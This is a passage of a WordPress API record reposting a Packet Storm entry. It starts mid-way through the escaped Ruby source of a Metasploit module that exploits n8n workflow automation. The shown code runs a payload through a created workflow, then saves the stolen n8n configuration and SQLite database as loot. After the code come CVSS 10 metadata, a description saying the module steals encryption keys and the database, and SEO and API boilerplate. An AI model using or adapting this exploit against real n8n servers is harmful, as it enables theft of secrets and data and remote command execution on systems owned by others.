print_status(\\&#8221;Step 8: Executing payload&#8230;\\&#8221;)\\n          output, error = execute_workflow(token, workflow_info)\\n          \\n          if error\\n            print_warning(\\&#8221;Execution completed with warning: #{error}\\&#8221;)\\n          end\\n          \\n          if output \\u0026\\u0026 output != \\&#8221;No output captured\\&#8221;\\n            print_good(\\&#8221;Command executed successfully!\\&#8221;)\\n            print_line(\\&#8221;\\\\n#{output}\\\\n\\&#8221;)\\n          else\\n            print_warning(\\&#8221;No output captured, but payload may have executed\\&#8221;)\\n          end\\n    \\n          print_status(\\&#8221;Step 9: Saving loot&#8230;\\&#8221;)\\n          \\n          loot_path = store_loot(\\n            &#8216;n8n.config&#8217;,\\n            &#8216;text\/plain&#8217;,\\n            rhost,\\n            config_data,\\n            &#8216;n8n_config.txt&#8217;,\\n            &#8216;n8n Configuration File&#8217;\\n          )\\n          print_good(\\&#8221;Saved config to: #{loot_path}\\&#8221;)\\n          \\n          loot_path = store_loot(\\n            &#8216;n8n.database&#8217;,\\n            &#8216;application\/x-sqlite3&#8217;,\\n            rhost,\\n            db_data,\\n            &#8216;n8n_database.sqlite&#8217;,\\n            &#8216;n8n SQLite Database&#8217;\\n          )\\n          print_good(\\&#8221;Saved database to: #{loot_path}\\&#8221;)\\n          \\n          print_good(\\&#8221;Exploitation completed!\\&#8221;)\\n          \\n        rescue =\\u003e e\\n          print_error(\\&#8221;Unexpected error during exploitation: #{e.message}\\&#8221;)\\n          if datastore[&#8216;VERBOSE&#8217;]\\n            print_error(\\&#8221;Backtrace: #{e.backtrace.join(\\&#8221;\\\\n\\&#8221;)}\\&#8221;)\\n          end\\n        ensure\\n    \\n          if token \\u0026\\u0026 created_workflows.any?\\n            cleanup_workflows(token, created_workflows)\\n          elsif created_workflows.any?\\n            print_warning(\\&#8221;Cannot clean up workflows without authentication token\\&#8221;)\\n          end\\n        end\\n      end\\n    end\\n    \\t\\n    Greetings to :======================================================================\\n    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|\\n    ====================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215730&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215730\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:14:57&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits multiple vulnerabilities in n8n workflow automation tool. It leverages a file read vulnerability to steal encryption keys and database, then uses&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-41167","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 n8n Workflow Automation Remote Configuration \/ Admin Data Extraction_PACKETSTORM:215730 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41167\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 n8n Workflow Automation Remote Configuration \/ Admin Data Extraction_PACKETSTORM:215730 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:14:57&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits multiple vulnerabilities in n8n workflow automation tool. It leverages a file read vulnerability to steal encryption keys and database, then uses...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41167\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-17T12:46:12+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"19 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41167#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41167\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 n8n Workflow Automation Remote Configuration \\\/ Admin Data Extraction_PACKETSTORM:215730\",\"datePublished\":\"2026-02-17T12:46:12+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41167\"},\"wordCount\":3750,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41167#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41167\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41167\",\"name\":\"\ud83d\udcc4 n8n Workflow Automation Remote Configuration \\\/ Admin Data Extraction_PACKETSTORM:215730 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-17T12:46:12+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41167#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41167\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41167#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 n8n Workflow Automation Remote Configuration \\\/ Admin Data Extraction_PACKETSTORM:215730\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 n8n Workflow Automation Remote Configuration \/ Admin Data Extraction_PACKETSTORM:215730 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41167","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 n8n Workflow Automation Remote Configuration \/ Admin Data Extraction_PACKETSTORM:215730 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:14:57&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits multiple vulnerabilities in n8n workflow automation tool. It leverages a file read vulnerability to steal encryption keys and database, then uses...","og_url":"https:\/\/zero.redgem.net\/?p=41167","og_site_name":"zero redgem","article_published_time":"2026-02-17T12:46:12+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"19 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41167#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41167"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 n8n Workflow Automation Remote Configuration \/ Admin Data Extraction_PACKETSTORM:215730","datePublished":"2026-02-17T12:46:12+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41167"},"wordCount":3750,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41167#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41167","url":"https:\/\/zero.redgem.net\/?p=41167","name":"\ud83d\udcc4 n8n Workflow Automation Remote Configuration \/ Admin Data Extraction_PACKETSTORM:215730 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-17T12:46:12+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41167#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41167"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41167#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 n8n Workflow Automation Remote Configuration \/ Admin Data Extraction_PACKETSTORM:215730"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41167","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41167"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41167\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41167"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41167"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41167"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}